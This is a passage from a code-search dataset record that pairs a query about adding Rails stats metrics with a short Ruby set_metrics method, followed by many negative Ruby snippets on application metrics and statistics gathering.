"0.6346428",
"0.6331658",
"0.6295805",
"0.6272913",
"0.62155515",
"0.62089103",
"0.6195449",
"0.6169032",
"0.6144954",
"0.60889226",
"0.6042329",
"0.6031619",
"0.60241085",
"0.59870774",
"0.5986262",
"0.59835094",
"0.59713054",
"0.59661335",
"0.59585655",
"0.59521043",
"0.59474146",
"0.59474146",
"0.59368324",
"0.59360325",
"0.59360325",
"0.5929913",
"0.59276426",
"0.5918372",
"0.59077436",
"0.5896686",
"0.5896686",
"0.58931375",
"0.5874693",
"0.5858247",
"0.58451277",
"0.5833505",
"0.5828488",
"0.5818214",
"0.5813014",
"0.5813014",
"0.58127874",
"0.5810464",
"0.57781357",
"0.5777387",
"0.577703",
"0.5735428",
"0.5653445",
"0.56429756",
"0.56369656",
"0.56308687",
"0.5613965",
"0.55983293",
"0.55949986",
"0.55889344",
"0.558855",
"0.55776256",
"0.5571964",
"0.556881",
"0.55681485",
"0.5566506",
"0.55660015",
"0.5565496",
"0.5556156",
"0.55523443",
"0.55471206",
"0.5543475",
"0.5542931",
"0.5542146",
"0.5537849",
"0.55326605",
"0.55199033",
"0.55017805",
"0.5495394",
"0.5494044",
"0.54903364",
"0.549001",
"0.54882926",
"0.5484476",
"0.5472367",
"0.5467172",
"0.5463187",
"0.5461929"
] |
0.6929708
|
7
|
Add the :stats task to the AVAILABLE_METRICS constant if we're running within rails.
|
def set_metrics
if rails?
@metrics = MetricFu::AVAILABLE_METRICS + [:stats, :rails_best_practices]
else
@metrics = MetricFu::AVAILABLE_METRICS
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def metrics\n with_stats_lock do\n @stats_hash.keys.map { |spec| spec.to_s }\n end\n end",
"def register_metrics!\n return if @registered\n @registered = true\n with_instance do |t|\n # Worker related\n t.add_gauge :dynflow_active_workers, 'The number of currently busy workers',\n [:queue, :world]\n t.add_counter :dynflow_worker_events, 'The number of processed events',\n [:queue, :world, :worker]\n\n # Execution plan related\n t.add_gauge :dynflow_active_execution_plans, 'The number of active execution plans',\n [:action, :world, :state]\n t.add_gauge :dynflow_queue_size, 'Number of items in queue',\n [:queue, :world]\n t.add_counter :dynflow_finished_execution_plans, 'The number of execution plans',\n [:action, :world, :result]\n\n # Step related\n # TODO: Configure buckets in a sane manner\n t.add_histogram :dynflow_step_real_time, 'The time between the start end end of the step',\n [:action, :phase]\n t.add_histogram :dynflow_step_execution_time, 'The time spent executing a step',\n [:action, :phase]\n\n # Connector related\n t.add_counter :dynflow_connector_envelopes, 'The number of envelopes handled by a connector',\n [:world, :direction]\n\n # Persistence related\n t.add_histogram :dynflow_persistence, 'The time spent communicating with the database',\n [:world, :method]\n end\n end",
"def application_metrics\n metrics = Danbooru::Metric::Set.new({\n danbooru_info: [:counter, \"Information about the current application build.\"],\n danbooru_artists_total: [:gauge, \"The total number of artists.\"],\n danbooru_artist_urls_total: [:gauge, \"The total number of artist URLs.\"],\n danbooru_artist_versions_total: [:counter, \"The total number of artist versions.\"],\n danbooru_background_jobs_total: [:gauge, \"The total number of background jobs.\"],\n danbooru_bans_total: [:gauge, \"The total number of user bans.\"],\n danbooru_bulk_update_requests_total: [:gauge, \"The total number of bulk update requests.\"],\n danbooru_comments_total: [:gauge, \"The total number of comments.\"],\n danbooru_comment_votes_total: [:gauge, \"The total number of comment votes.\"],\n danbooru_favorites_total: [:gauge, \"The total number of favorites.\"],\n danbooru_favorite_groups_total: [:gauge, \"The total number of favorite groups.\"],\n danbooru_forum_posts_total: [:gauge, \"The total number of forum posts.\"],\n danbooru_forum_topics_total: [:gauge, \"The total number of forum topics.\"],\n danbooru_media_assets_total: [:gauge, \"The total number of media assets. Excludes processing or failed assets.\"],\n danbooru_media_assets_file_size_bytes_total: [:gauge, \"The total file size of all active media assets. Does not include thumbnails.\"],\n danbooru_media_assets_pixels_total: [:gauge, \"The total number of pixels in all active media assets (that is, the sum of width * height for all images). Does not account for animated images.\"],\n danbooru_media_assets_duration_seconds_total: [:gauge, \"The total runtime of all active media assets. Includes videos, animated GIFs and PNGs, and ugoiras.\"],\n danbooru_post_votes_total: [:gauge, \"The total number of post votes.\"],\n danbooru_posts_total: [:gauge, \"The total number of posts.\"],\n danbooru_post_appeals_total: [:gauge, \"The total number of post appeals.\"],\n danbooru_post_flags_total: [:gauge, \"The total number of post flags.\"],\n danbooru_notes_total: [:gauge, \"The total number of notes.\"],\n danbooru_note_versions_total: [:counter, \"The total number of note versions.\"],\n danbooru_pools_total: [:gauge, \"The total number of pools.\"],\n danbooru_pools_post_count_total: [:gauge, \"The total number of posts in pools.\"],\n danbooru_tags_total: [:gauge, \"The total number of tags (excluding empty tags).\"],\n danbooru_tags_post_count_total: [:gauge, \"The total number of tags on posts.\"],\n danbooru_uploads_total: [:gauge, \"The total number of uploads.\"],\n danbooru_users_total: [:counter, \"The total number of users.\"],\n danbooru_user_feedbacks_total: [:gauge, \"The total number of user feedbacks (excluding deleted feedbacks).\"],\n danbooru_wiki_pages_total: [:gauge, \"The total number of wiki pages.\"],\n danbooru_wiki_page_versions_total: [:counter, \"The total number of wiki page versions.\"],\n })\n\n status = ServerStatus.new\n versions = {\n danbooru_version: status.danbooru_version,\n ruby_version: status.ruby_version,\n rails_version: status.rails_version,\n puma_version: status.puma_version,\n distro_version: status.distro_version,\n libvips_version: status.libvips_version,\n ffmpeg_version: status.ffmpeg_version,\n exiftool_version: status.exiftool_version,\n }\n metrics[:danbooru_info][versions].set(1)\n\n Artist.group(:is_deleted).pluck(Arel.sql(\"is_deleted, COUNT(*)\")).each do |deleted, count|\n metrics[:danbooru_artists_total][deleted: deleted].set(count)\n end\n\n ArtistURL.group(:is_active).pluck(Arel.sql(\"is_active, COUNT(*)\")).each do |active, count|\n metrics[:danbooru_artist_urls_total][active: active].set(count)\n end\n\n ArtistVersion.pluck(Arel.sql(\"COUNT(*)\")).each do |count|\n metrics[:danbooru_artist_versions_total].set(count)\n end\n\n metrics[:danbooru_background_jobs_total][status: \"queued\"].set(BackgroundJob.queued.count)\n metrics[:danbooru_background_jobs_total][status: \"running\"].set(BackgroundJob.running.count)\n metrics[:danbooru_background_jobs_total][status: \"finished\"].set(BackgroundJob.finished.count)\n metrics[:danbooru_background_jobs_total][status: \"discarded\"].set(BackgroundJob.discarded.count)\n\n Ban.pluck(Arel.sql(\"COUNT(*)\")).each do |count|\n metrics[:danbooru_bans_total].set(count)\n end\n\n BulkUpdateRequest.group(:status).pluck(Arel.sql(\"status, COUNT(*)\")).each do |status, count|\n metrics[:danbooru_bulk_update_requests_total][status: status].set(count)\n end\n\n Comment.group(:is_deleted).pluck(Arel.sql(\"is_deleted, COUNT(*)\")).each do |deleted, count|\n metrics[:danbooru_comments_total][deleted: deleted].set(count)\n end\n\n CommentVote.group(:score).active.pluck(Arel.sql(\"score, COUNT(*)\")).each do |score, count, score_sum|\n metrics[:danbooru_comment_votes_total][type: score > 0 ? \"up\" : \"down\"].set(count)\n end\n\n FavoriteGroup.group(:is_public).pluck(Arel.sql(\"is_public, COUNT(*)\")).each do |is_public, count|\n metrics[:danbooru_favorite_groups_total][public: is_public].set(count)\n end\n\n ForumPost.group(:is_deleted).pluck(Arel.sql(\"is_deleted, COUNT(*)\")).each do |deleted, count|\n metrics[:danbooru_forum_posts_total][deleted: deleted].set(count)\n end\n\n ForumTopic.group(:is_deleted).pluck(Arel.sql(\"is_deleted, COUNT(*)\")).each do |deleted, count|\n metrics[:danbooru_forum_topics_total][deleted: deleted].set(count)\n end\n\n MediaAsset.active.group(:file_ext).pluck(Arel.sql(\"file_ext, COUNT(*), SUM(file_size), SUM(image_width*image_height), COALESCE(SUM(duration), 0)\")).each do |file_ext, count, file_size, pixels, duration|\n metrics[:danbooru_media_assets_total][file_ext: file_ext].set(count)\n metrics[:danbooru_media_assets_file_size_bytes_total][file_ext: file_ext].set(file_size)\n metrics[:danbooru_media_assets_pixels_total][file_ext: file_ext].set(pixels)\n metrics[:danbooru_media_assets_duration_seconds_total][file_ext: file_ext].set(duration.round(4))\n end\n\n Post.pluck(Arel.sql(\"SUM(up_score), ABS(SUM(down_score)), SUM(fav_count), COUNT(*) FILTER (WHERE is_pending), COUNT(*) FILTER (WHERE is_flagged), COUNT(*) FILTER (WHERE is_deleted), COUNT(*)\")).each do |upvote_count, downvote_count, favorite_count, pending_count, flagged_count, deleted_count, total_count|\n metrics[:danbooru_post_votes_total][type: \"up\"].set(upvote_count)\n metrics[:danbooru_post_votes_total][type: \"down\"].set(downvote_count)\n metrics[:danbooru_favorites_total].set(favorite_count)\n\n metrics[:danbooru_posts_total][status: \"pending\"].set(pending_count)\n metrics[:danbooru_posts_total][status: \"flagged\"].set(flagged_count)\n metrics[:danbooru_posts_total][status: \"deleted\"].set(deleted_count)\n metrics[:danbooru_posts_total][status: \"active\"].set(total_count - pending_count - deleted_count - flagged_count)\n end\n\n PostAppeal.group(:status).pluck(Arel.sql(\"status, COUNT(*)\")).each do |status, count|\n metrics[:danbooru_post_appeals_total][status: status].set(count)\n metrics[:danbooru_posts_total][status: \"appealed\"].set(count) if status == \"pending\"\n end\n\n PostFlag.group(:status).pluck(Arel.sql(\"status, COUNT(*)\")).each do |status, count|\n metrics[:danbooru_post_flags_total][status: status].set(count)\n end\n\n Note.group(:is_active).pluck(Arel.sql(\"is_active, COUNT(*)\")).each do |active, count|\n metrics[:danbooru_notes_total][deleted: !active].set(count)\n end\n\n NoteVersion.pluck(Arel.sql(\"COUNT(*)\")).each do |count|\n metrics[:danbooru_note_versions_total].set(count)\n end\n\n Pool.group(:category).pluck(Arel.sql(\"category, COUNT(*), SUM(cardinality(post_ids))\")).each do |category, count, post_count|\n metrics[:danbooru_pools_total][category: category].set(count)\n metrics[:danbooru_pools_post_count_total][category: category].set(post_count)\n end\n\n Tag.nonempty.group(:category).pluck(Arel.sql(\"category, COUNT(*), SUM(post_count)\")).each do |category, count, post_count|\n metrics[:danbooru_tags_total][category: TagCategory.reverse_mapping[category]].set(count)\n metrics[:danbooru_tags_post_count_total][category: TagCategory.reverse_mapping[category]].set(post_count)\n end\n\n Upload.group(:status).pluck(Arel.sql(\"status, COUNT(*)\")).each do |status, count|\n metrics[:danbooru_uploads_total][status: status].set(count)\n end\n\n User.pluck(Arel.sql(\"COUNT(*)\")).each do |count|\n metrics[:danbooru_users_total].set(count)\n end\n\n UserFeedback.active.group(:category).pluck(Arel.sql(\"category, COUNT(*)\")).each do |category, count|\n metrics[:danbooru_user_feedbacks_total][category: category].set(count)\n end\n\n WikiPage.group(:is_deleted).pluck(Arel.sql(\"is_deleted, COUNT(*)\")).each do |deleted, count|\n metrics[:danbooru_wiki_pages_total][deleted: deleted].set(count)\n end\n\n WikiPageVersion.pluck(Arel.sql(\"COUNT(*)\")).each do |count|\n metrics[:danbooru_wiki_page_versions_total].set(count)\n end\n\n metrics\n end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def metrics\n @metrics ||= collect_metrics\n end",
"def gtm_global_statistics\n super\n end",
"def setup_metrics\n valid_passenger_versions = [3, 4]\n\n raise ConfigurationError, \"passenger_version config variable must be set\" unless defined?(passenger_version)\n raise ConfigurationError, \"Passenger version must be one of #{valid_passenger_versions}\" unless valid_passenger_versions.include?(passenger_version)\n\n\n @matches = {}\n\n @matches[:processes_max] = /max\\s+=\\s+(\\d+)/ if passenger_version.eql?(3)\n #Max pool size : 6\n @matches[:processes_max] = /Max pool size\\s+:\\s+(\\d+)/ if passenger_version.eql?(4)\n\n\n @matches[:processes_running] = /count\\s+=\\s+(\\d+)/ if passenger_version.eql?(3)\n #Processes : 6\n @matches[:processes_running] = /Processes\\s+:\\s+(\\d+)/ if passenger_version.eql?(4)\n\n\n @matches[:queue_waiting] = /Waiting on global queue:\\s+(\\d+)/ if passenger_version.eql?(3)\n #Requests in top-level queue : 0\n @matches[:queue_waiting] = /Requests in top-level queue\\s+:\\s+(\\d+)/ if passenger_version.eql?(4)\n\n end",
"def cpu_metrics\n super\n end",
"def global_statistics\n super\n end",
"def send_agent_stats\n curr_time = Time.now\n\n if curr_time - @last_stat_flush > @stats_interval\n t = Process.times\n # amount of user/system cpu time in seconds\n Hastur.gauge(\"hastur.agent.utime\", t.utime, curr_time)\n Hastur.gauge(\"hastur.agent.stime\", t.stime, curr_time)\n # completed child processes' (plugins) user/system cpu time in seconds (always 0 on Windows NT)\n Hastur.gauge(\"hastur.agent.cutime\", t.cutime, curr_time)\n Hastur.gauge(\"hastur.agent.cstime\", t.cstime, curr_time)\n\n @counters.each do |name,count|\n if count > 0\n Hastur.counter(\"hastur.agent.#{name}\", count, curr_time)\n @counters[name] = 0\n end\n end\n\n # reset things\n @last_stat_flush = curr_time\n end\n end",
"def import_active_stats\n\n end",
"def stats!\n info \"STATS\"\n task \"generate chart\" do\n c = Chart::StatsPerCollection.new\n @dbi.execute( File.read( sql_query(:chart) ) ).each{ |date,collection|\n c.add_one(collection, Date.parse(date).day)\n }\n Chart.new(c).write File.join( @config['settings']['output'], '/chart.jpg' )\n end\n end",
"def global_metrics # rubocop: disable AbcSize\n report_metric 'Global Queue Size/Total', 'messages', overview['queue_totals']['messages']\n report_metric 'Global Queue Size Components/Ready', 'messages', overview['queue_totals']['messages_ready']\n report_metric 'Global Queue Size Components/Unacked', 'messages', overview['queue_totals']['messages_unacknowledged']\n\n report_metric 'Global Message Rate/Deliver', 'messages/sec', rate_for('deliver')\n report_metric 'Global Message Rate/Acknowledge', 'messages/sec', rate_for('ack')\n report_metric 'Global Message Rate/Return', 'messages/sec', rate_for('return_unroutable')\n\n overview['object_totals'].each do |obj|\n report_metric \"Global Object Totals/#{obj[0].capitalize}\", nil, obj[1]\n end\n end",
"def stats\n available_threads = executor.ready_worker_count\n {\n name: name,\n queues: performer.name,\n max_threads: @executor_options[:max_threads],\n active_threads: @executor_options[:max_threads] - available_threads,\n available_threads: available_threads,\n max_cache: @max_cache,\n active_cache: cache_count,\n available_cache: remaining_cache_count,\n }.merge!(@metrics.to_h)\n end",
"def collect_metrics(data: {}, labels: {})\n metric(:pool_jobs_waiting_total)&.observe(data['pool_jobs_waiting_total'].to_i, labels)\n metric(:pool_ready_workers_total)&.observe(data['pool_ready_workers_total'].to_i, labels)\n metric(:pool_workers_total)&.observe(data['pool_workers_total'].to_i, labels)\n metric(:pool_initial_size)&.observe(data['pool_initial_size'].to_i, labels)\n metric(:poll_period)&.observe(data['poll_period'].to_i, labels)\n metric(:thread_pool_exhausted)&.observe(data['thread_pool_exhausted'].to_i, labels)\n end",
"def metrics\n @metrics ||= []\n end",
"def global_host_statistics\n super\n end",
"def add_statistics stats_arr\n stats_arr.each do |stats|\n add_statistic stats\n end\n return\n end",
"def global_cpu_usage_extended_information\n super\n end",
"def gtm_memory_usage_statistics\n super\n end",
"def get_metrics\n {\n method: \"Performance.getMetrics\"\n }\n end",
"def initialize\n @metrics = { processed: 0, skipped: 0, failed: 0, updated: 0,\n unchanged: 0, start_time: 0, failed_list: [],\n warning: 0 }\n end",
"def custom_metrics\n @custom_metrics ||= {}\n end",
"def add_stats(_stats)\n _stats.each do |e|\n self.add_stat(e)\n end\n end",
"def stats\n # find project\n @project = Project.find(params[:id])\n # check user is manager of project\n if (!@superuser_is_superadmin && !(superuser_is_part_of_project? @project))\n flash[:warning] = \"You can't see stats for this project\"\n redirect_to lato_core.root_path and return false\n end\n # find datas\n @tasks = Task.where(project_id: @project.id).order('end_date ASC')\n @wait_tasks = @tasks.where(status: 'wait')\n @develop_tasks = @tasks.where(status: 'develop')\n @test_tasks = @tasks.where(status: 'test')\n @completed_tasks = @tasks.where(status: 'completed')\n @collaborators = @project.collaborators\n end",
"def global_tmm_statistics\n super\n end",
"def set_metrics(metrics, batch)\n _this_ts, label, latency, error, threads, http_code = metrics\n ['ALL', label].each do |key|\n # load test worker threads are recorded at the start of the interval\n batch[key]['threads'] = threads unless batch[key]['threads']\n batch[key]['requests'] += 1\n batch[key]['errors'] += error\n batch[key]['http_code_distribution'][http_code] += 1\n # latency samples are not counted for failed requests\n unless error == 1\n batch[key]['latency_distribution'][latency] += 1\n batch[key]['latency_sum'] += latency\n end\n end\n end",
"def instance_metrics\n metrics = Dir.glob(\"tmp/drb-process-metrics-*.sock\").map do |filename|\n application_metrics = DRbObject.new_with_uri(\"drbunix:#{filename}\")\n application_metrics.update_process_metrics\n rescue IOError, DRb::DRbConnError\n # XXX Ignore any errors we may receive when fetching metrics from a remote process that has shut down (usually by the Puma worker killer)\n Danbooru::Metric::Set.new\n end\n\n metrics.reduce(&:merge) || Danbooru::Metric::Set.new\n end",
"def collect_stats\n # code callously ripped from statistics.rake !\n folders = STATS_FOLDERS.select{|name, dir| File.directory?(dir) }\n cs = CodeStatistics.new(*folders)\n statz = cs.statistics\n tyme = Time.now.to_i\n yaml = { \"build_#{ tyme }\" => statz }.to_yaml\n return yaml.sub(/^---/, '') # abrogate that pesky document marker!\n end",
"def update_project_stats\n self.critical_count = tasks.select { |t| t.critical? }.length\n self.normal_count = tasks.select { |t| t.normal? }.length\n self.low_count = tasks.select { |t| t.low? }.length\n self.open_tasks = nil\n self.total_tasks = nil\n end",
"def stats\n ## TODO:\n end",
"def add_stats(_stat)\n _stats.each do |e|\n self.add_stat(e)\n end\n end",
"def additional_metrics\n []\n end",
"def cpu_usage_information\n super\n end",
"def check_stats\n str = registered_monitors.collect {|m| \"#{m}\"}\n PoolParty.message \"Monitors: #{str.join(\", \")}\"\n end",
"def monitor(stats)\n reset_monitor\n\n refresh_rate = 20 # 20 seconds between samples (realtime)\n\n @state = state_to_c(@vm.vm_info['summary.runtime.powerState'])\n\n return if @state != VM_STATE[:active]\n\n cpu_mhz = @vm.vm_info[:esx_host_cpu]\n\n # rubocop:disable Layout/LineLength\n @monitor[:used_memory] = @vm.vm_info['summary.quickStats.hostMemoryUsage'].to_i * 1024\n # rubocop:enable Layout/LineLength\n used_cpu = @vm.vm_info['summary.quickStats.overallCpuUsage'].to_f \\\n / cpu_mhz\n used_cpu = (used_cpu * 100).to_s\n # rubocop:disable Style/FormatStringToken\n @monitor[:used_cpu] = format('%.2f', used_cpu).to_s\n # rubocop:enable Style/FormatStringToken\n\n # Check for negative values\n @monitor[:used_memory] = 0 if @monitor[:used_memory].to_i < 0\n @monitor[:used_cpu] = 0 if @monitor[:used_cpu].to_i < 0\n\n guest_ip_addresses = []\n unless @vm['guest.net'].empty?\n @vm.vm_info['guest.net'].each do |net|\n next unless net.ipConfig\n next if net.ipConfig.ipAddress.empty?\n\n net.ipConfig.ipAddress.each do |ip|\n guest_ip_addresses << ip.ipAddress\n end\n end\n end\n\n @guest_ip_addresses = guest_ip_addresses.join(',')\n\n if stats.key?(@item)\n metrics = stats[@item][:metrics]\n\n nettx_kbpersec = 0\n if metrics['net.transmitted']\n metrics['net.transmitted'].each do |sample|\n nettx_kbpersec += sample if sample > 0\n end\n end\n\n netrx_kbpersec = 0\n if metrics['net.bytesRx']\n metrics['net.bytesRx'].each do |sample|\n netrx_kbpersec += sample if sample > 0\n end\n end\n\n read_kbpersec = 0\n if metrics['virtualDisk.read']\n metrics['virtualDisk.read'].each do |sample|\n read_kbpersec += sample if sample > 0\n end\n end\n\n read_iops = 0\n if metrics['virtualDisk.numberReadAveraged']\n metrics['virtualDisk.numberReadAveraged'].each do |sample|\n read_iops += sample if sample > 0\n end\n end\n\n write_kbpersec = 0\n if metrics['virtualDisk.write']\n metrics['virtualDisk.write'].each do |sample|\n write_kbpersec += sample if sample > 0\n end\n end\n\n write_iops = 0\n if metrics['virtualDisk.numberWriteAveraged']\n metrics['virtualDisk.numberWriteAveraged'].each do |sample|\n write_iops += sample if sample > 0\n end\n end\n else\n nettx_kbpersec = 0\n netrx_kbpersec = 0\n read_kbpersec = 0\n read_iops = 0\n write_kbpersec = 0\n write_iops = 0\n end\n\n # Accumulate values if present\n if @one_item && @one_item['MONITORING/NETTX']\n previous_nettx = @one_item['MONITORING/NETTX'].to_i\n else\n previous_nettx = 0\n end\n\n if @one_item && @one_item['MONITORING/NETRX']\n previous_netrx = @one_item['MONITORING/NETRX'].to_i\n else\n previous_netrx = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKRDIOPS']\n previous_diskrdiops = @one_item['MONITORING/DISKRDIOPS'].to_i\n else\n previous_diskrdiops = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKWRIOPS']\n previous_diskwriops = @one_item['MONITORING/DISKWRIOPS'].to_i\n else\n previous_diskwriops = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKRDBYTES']\n previous_diskrdbytes = @one_item['MONITORING/DISKRDBYTES'].to_i\n else\n previous_diskrdbytes = 0\n end\n\n if @one_item && @one_item['MONITORING/DISKWRBYTES']\n previous_diskwrbytes = @one_item['MONITORING/DISKWRBYTES'].to_i\n else\n previous_diskwrbytes = 0\n end\n\n @monitor[:nettx] = previous_nettx +\n (nettx_kbpersec * 1024 * refresh_rate).to_i\n @monitor[:netrx] = previous_netrx +\n (netrx_kbpersec * 1024 * refresh_rate).to_i\n\n @monitor[:diskrdiops] = previous_diskrdiops + read_iops\n @monitor[:diskwriops] = previous_diskwriops + write_iops\n @monitor[:diskrdbytes] = previous_diskrdbytes +\n (read_kbpersec * 1024 * refresh_rate).to_i\n @monitor[:diskwrbytes] = previous_diskwrbytes +\n (write_kbpersec * 1024 * refresh_rate).to_i\n end",
"def all_cpu_usage_extended_information\n super\n end",
"def global_metrics_enabled?\n Object.const_defined?('Sidekiq::Enterprise') && global_metrics_enabled\n end",
"def collect_measurement_statistics\n Ggi::Taxon.all.select { |t| t.family? }.each do |taxon|\n Ggi::ClassificationImporter::MEASUREMENT_URIS_TO_LABELS.each do |uri, label|\n measurement = taxon.measurements.detect { |m| m[:measurementType] == uri }\n value = measurement ? measurement[:measurementValue] : DEFAULT_SCORE\n @measurement_type_values[uri] ||= Hash.new(DEFAULT_SCORE)\n @measurement_type_values[uri][value] += 1\n end\n end\n end",
"def statistics(opts)\n opts = check_params(opts,[:server_names])\n super(opts)\n end",
"def collect(metrics)\n metrics[:polled_total] = rand(100)\n metrics\n end",
"def summary_metrics\n []\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def all_statistics\n super\n end",
"def set_stats\n @stats = AppStats.new(Post.all, Quote.all)\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def statistics\n super\n end",
"def metrics\n manager_instance(MetricManager)\n end",
"def include_metrics?\n include_metrics.nil? || include_metrics\n end",
"def set_statsd_gauges\n base_query = UserAcceptableVerifiedCredential.joins(user_account: :user_verifications).distinct\n\n SCOPES.each do |scope|\n mhv_dslogon_combined_total = 0\n scoped_query = base_query.merge(UserAcceptableVerifiedCredential.public_send(scope))\n\n PROVIDERS.each do |provider|\n count = if provider == ALL\n scoped_query.count\n else\n scoped_query.merge(UserVerification.public_send(provider)).count\n end\n\n StatsD.gauge(\"#{STATSD_KEY_PREFIX}.#{provider}.#{scope}.total\", count)\n\n # MHV and DSLOGON combined total\n mhv_dslogon_combined_total += count if [MHV, DSLOGON].include?(provider)\n end\n\n # MHV_DSLOGON Combined gauge\n StatsD.gauge(\"#{STATSD_KEY_PREFIX}.#{MHV}_#{DSLOGON}.#{scope}.total\", mhv_dslogon_combined_total)\n end\n end",
"def enabled_metrics\n @group.enabled_metrics\n end",
"def all_host_statistics\n super\n end",
"def metrics(data)\n results = Crack::XML.parse(perform('/stats', :data => data))['scores']\n return if results.nil? # we have no stats about our data\n AfterTheDeadline::Metrics.new results['metric']\n end",
"def all\n @@all_metrics ||= self.from_file(\n File.join(Rails.root, 'config', 'metrics.yml')\n )\n end",
"def enable_all_metrics_collection\n enable_metrics_collection\n end",
"def timers\n metrics(Timer)\n end",
"def update_process_metrics\n metrics = process_metrics\n\n conn_pool_stats = ApplicationRecord.connection_pool.stat\n metrics[:rails_connection_pool_size][{}].set(conn_pool_stats[:size])\n metrics[:rails_connection_pool_connections][state: \"busy\"].set(conn_pool_stats[:busy])\n metrics[:rails_connection_pool_connections][state: \"idle\"].set(conn_pool_stats[:idle])\n metrics[:rails_connection_pool_connections][state: \"dead\"].set(conn_pool_stats[:dead])\n metrics[:rails_connection_pool_waiting][{}].set(conn_pool_stats[:waiting])\n metrics[:rails_connection_pool_checkout_timeout][{}].set(conn_pool_stats[:checkout_timeout])\n\n if puma_running?\n resp = Danbooru::Http.internal.timeout(1).get(\"http://localhost:9293/stats\")\n puma_stats = resp.code == 200 ? resp.parse.with_indifferent_access : {}\n\n metrics.set({\n puma_started_at: puma_stats[:started_at].to_s.to_time.to_i,\n puma_workers: puma_stats[:workers],\n }, { worker: \"master\" })\n\n puma_stats[:worker_status].to_a.each do |worker|\n max_threads = worker.dig(:last_status, :max_threads)\n cur_threads = worker.dig(:last_status, :running)\n idle_threads = worker.dig(:last_status, :pool_capacity) - (max_threads - cur_threads)\n busy_threads = cur_threads - idle_threads\n\n metrics.set({\n puma_started_at: Time.parse(worker[:started_at]).to_i,\n puma_last_checkin: Time.parse(worker[:last_checkin]).to_i,\n puma_max_threads: max_threads,\n puma_thread_backlog: worker.dig(:last_status, :backlog),\n puma_http_requests_total: worker.dig(:last_status, :requests_count),\n }, { worker: worker[:index] })\n\n metrics[:puma_threads][worker: worker[:index], state: \"idle\"].set(idle_threads)\n metrics[:puma_threads][worker: worker[:index], state: \"busy\"].set(busy_threads)\n end\n\n # XXX The Puma server object is in a thread local variable, which may be in another thread, so we have to search for it.\n puma_socket = Thread.list.filter_map { |thread| thread[:puma_server] }.first&.binder&.ios&.first\n puma_socket_backlog = puma_socket&.getsockopt(Socket::SOL_TCP, Socket::TCP_INFO)&.inspect.to_s[/unacked=(\\d+)/, 1].to_i\n metrics[:puma_socket_backlog][worker: puma_worker_id].set(puma_socket_backlog)\n end\n\n ruby_stats = RubyVM.stat\n metrics.set({\n ruby_vm_constant_cache_invalidations: ruby_stats[:constant_cache_invalidations],\n ruby_vm_constant_cache_misses: ruby_stats[:constant_cache_misses],\n ruby_thread_count: Thread.list.count,\n ruby_pid: Process.pid,\n })\n\n ObjectSpace.count_objects.each do |type, count|\n next if type == :TOTAL\n metrics[:ruby_objects_count][type: type.to_s.delete_prefix(\"T_\").downcase].set(count)\n end\n\n ObjectSpace.count_objects_size.each do |type, size|\n next if type == :TOTAL\n metrics[:ruby_objects_size_bytes][type: type.to_s.delete_prefix(\"T_\").downcase].set(size)\n end\n\n ObjectSpace.count_tdata_objects.each do |type, count|\n metrics[:ruby_objects_tdata_count][type: type.to_s].set(count)\n end\n\n ObjectSpace.count_symbols.each do |type, count|\n metrics[:ruby_objects_symbols_count][type: type].set(count)\n end\n\n ObjectSpace.count_imemo_objects.each do |type, count|\n metrics[:ruby_objects_imemo_count][type: type].set(count)\n end\n\n ruby_yjit_stats = defined?(RubyVM::YJIT) ? RubyVM::YJIT.runtime_stats : Hash.new { 0 }\n metrics.set({\n ruby_yjit_enabled: ruby_yjit_stats.present?,\n ruby_yjit_inline_code_size: ruby_yjit_stats[:inline_code_size],\n ruby_yjit_outlined_code_size: ruby_yjit_stats[:outlined_code_size],\n ruby_yjit_freed_page_count: ruby_yjit_stats[:freed_page_count],\n ruby_yjit_freed_code_size: ruby_yjit_stats[:freed_code_size],\n ruby_yjit_live_page_count: ruby_yjit_stats[:live_page_count],\n ruby_yjit_code_gc_count: ruby_yjit_stats[:code_gc_count],\n ruby_yjit_code_region_size: ruby_yjit_stats[:code_region_size],\n ruby_yjit_object_shape_count: ruby_yjit_stats[:object_shape_count],\n })\n\n gc_stats = GC.stat\n metrics.set({\n ruby_gc_duration_seconds: gc_stats[:time] / 1000.0,\n ruby_gc_heap_live_slots: gc_stats[:heap_live_slots],\n ruby_gc_heap_free_slots: gc_stats[:heap_free_slots],\n ruby_gc_heap_final_slots: gc_stats[:heap_final_slots],\n ruby_gc_heap_marked_slots: gc_stats[:heap_marked_slots],\n ruby_gc_heap_pages_allocated_total: gc_stats[:total_allocated_pages],\n ruby_gc_heap_pages_freed_total: gc_stats[:total_freed_pages],\n ruby_gc_objects_allocated_total: gc_stats[:total_allocated_objects],\n ruby_gc_objects_freed_total: gc_stats[:total_freed_objects],\n ruby_gc_malloc_increase_bytes: gc_stats[:malloc_increase_bytes],\n ruby_gc_malloc_increase_bytes_limit: gc_stats[:malloc_increase_bytes_limit],\n ruby_gc_compact_total: gc_stats[:compact_count],\n ruby_gc_read_barrier_faults: gc_stats[:read_barrier_faults],\n ruby_gc_moved_objects_total: gc_stats[:total_moved_objects],\n ruby_gc_remembered_wb_unprotected_objects: gc_stats[:remembered_wb_unprotected_objects],\n ruby_gc_remembered_wb_unprotected_objects_limit: gc_stats[:remembered_wb_unprotected_objects_limit],\n ruby_gc_old_objects: gc_stats[:old_objects],\n ruby_gc_old_objects_limit: gc_stats[:old_objects_limit],\n ruby_gc_oldmalloc_increase_bytes: gc_stats[:oldmalloc_increase_bytes],\n ruby_gc_oldmalloc_increase_bytes_limit: gc_stats[:oldmalloc_increase_bytes_limit],\n })\n\n metrics[:ruby_gc_total][type: :major].set(gc_stats[:major_gc_count])\n metrics[:ruby_gc_total][type: :minor].set(gc_stats[:minor_gc_count])\n\n 